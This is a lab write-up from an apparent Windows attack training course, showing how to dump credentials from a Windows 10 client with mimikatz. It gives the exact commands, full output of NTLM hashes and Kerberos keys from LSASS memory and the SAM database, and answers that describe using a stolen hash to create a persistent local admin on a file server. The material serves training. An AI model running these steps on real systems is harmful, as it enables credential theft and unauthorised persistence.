

Windows Attack Lab - Step 5 - Credential Dumping on Windows 10 Client

If you have local administrative privileges on a Windows machine, you can abuse this to retrieve various forms of credentials stored on the respective machine. This includes credentials of local user accounts (stored in the SAM file) as well as temporarily cached credentials of currently logged-in users (kept in the memory of the lsass process).

Author

- Knöpfel, Daniel
- Duijts, Michael

Methodology

```

Administrator: Command Prompt
mimikatz # privilege::debug
Privilege '20' OK

mimikatz # log my_log.txt
Using 'my_log.txt' for logfile : OK

mimikatz # sekurlsa::logonpasswords

Authentication Id : 0 ; 14372516 (00000000:00db4ea4)
Session           : Interactive from 2
User Name         : hacker
Domain            : Client1
Logon Server      : Client1
Logon Time        : 12/17/2022 4:53:42 PM
SID               : S-1-5-21-3090059326-1660265126-296126268-1005

    msv :
        [00000003] Primary
        * Username : hacker
        * Domain   : Client1
        * NTLM     : 094cd0c925f6c071e4897b676fb6076d
        * SHA1     : 30014a8a68b2803467464a92ede247eb84f162c4
    tspkg :
    wdigest :
        * Username : hacker
        * Domain   : Client1
        * Password : (null)
    kerberos :
        * Username : hacker
        * Domain   : Client1
        * Password : (null)
    ssp :
    credman :
    cloudap :

Authentication Id : 0 ; 2608465 (00000000:0027cd51)
Session           : Interactive from 2
User Name         : DWM-2
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 12/17/2022 1:58:07 PM
SID               : S-1-5-90-0-2

    msv :
        [00000003] Primary
        * Username : Client1$
        * Domain   : winattacklab
        * NTLM     : 6b7b247552e416de463f16228702f5c4
        * SHA1     : 56674f49332435798b0555e04a335d605cf4f4d1
    tspkg :
    wdigest :
        * Username : Client1$
        * Domain   : winattacklab
        * Password : (null)
    kerberos :
        * Username : Client1$

```

LSASS Dump:

SAM Dump:

```

Administrator: Command Prompt
mimikatz # lsadump::sam
Domain : Client1
SysKey : 2028ad4c2f6af82ef9572c9a72e113f4
Local SID : S-1-5-21-3090059326-1660265126-296126268

SAMKey : 045367956d31699773ddaf077a2d69c0

RID : 000001f4 (500)
User : lab_admin
  Hash NTLM: 6698e79abd4291a2d3dffadccabe9273
  lm - 0: 0ab204f1fc1247479e05adf5e78dfe49
  ntlm- 0: 6698e79abd4291a2d3dffadccabe9273
  ntlm- 1: c7a0608efc58a1b63ee0c8fd3ef86865

Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
  Random Value : 54993386a6f8c50355915121a50b7348

* Primary:Kerberos-Newer-Keys *
  Default Salt : CLIENT1.WINATTACKLAB.LOCAllab_admin
  Default Iterations : 4096
  Credentials
    aes256_hmac (4096) : 5b12462864b08bea44cfc63301cb8234fcd35ac895084f1bf6a1233f14fc63e
    aes128_hmac (4096) : dc24992c37f8de4484a283d752258bc2
    des_cbc_md5 (4096) : 04ec2c4ab0a4da04
  OldCredentials
    aes256_hmac (4096) : c69556237fb5a076aee3725ec834f2c4df6757a900cf4644ff8d84cb77b3af54
    aes128_hmac (4096) : a45323c3ccdc89d4c2b96b2a77923e33
    des_cbc_md5 (4096) : 20d39275baa4f445
  OlderCredentials
    aes256_hmac (4096) : 609e54e0b93c47feb0d1434582374b901bc420a5f31dd5d5fc9fce028800423a
    aes128_hmac (4096) : 7badbf4a5075621f60b955246d171ae2
    des_cbc_md5 (4096) : 576dbac7e062bfd9

* Packages *
  NTLM-Strong-NTOWF

* Primary:Kerberos *
  Default Salt : CLIENT1.WINATTACKLAB.LOCAllab_admin
  Credentials
    des_cbc_md5 : 04ec2c4ab0a4da04
  OldCredentials
    des_cbc_md5 : 20d39275baa4f445

RID : 000001f5 (501)
User : Guest

RID : 000001f7 (503)
User : DefaultAccount

RID : 000001f8 (504)
User : WDAGUtilityAccount
  Hash NTLM: 82a66e883d6aec5739db78cd6f67041f

```

Answer

- Why does Mimikatz need debug privileges?
 - to access the memory of a running process
- What are the prerequisites that your current session has SeDebugPrivileges?
 - Being in the Administrator group (Usually, only admins have this privilege)
- What are you going to do next with the NTLM hash of user Aalfort?
 - We will log in to FS1.WINATTACKLAB.LOCAL and create a local admin to ensure we always have access, even if aalfort changes his pw or is deleted.
- Why can user Aalfort's credentials be found in the LSASS memory of Client1

- User credentials of currently logged in users are stored in the memory of the LSASS process.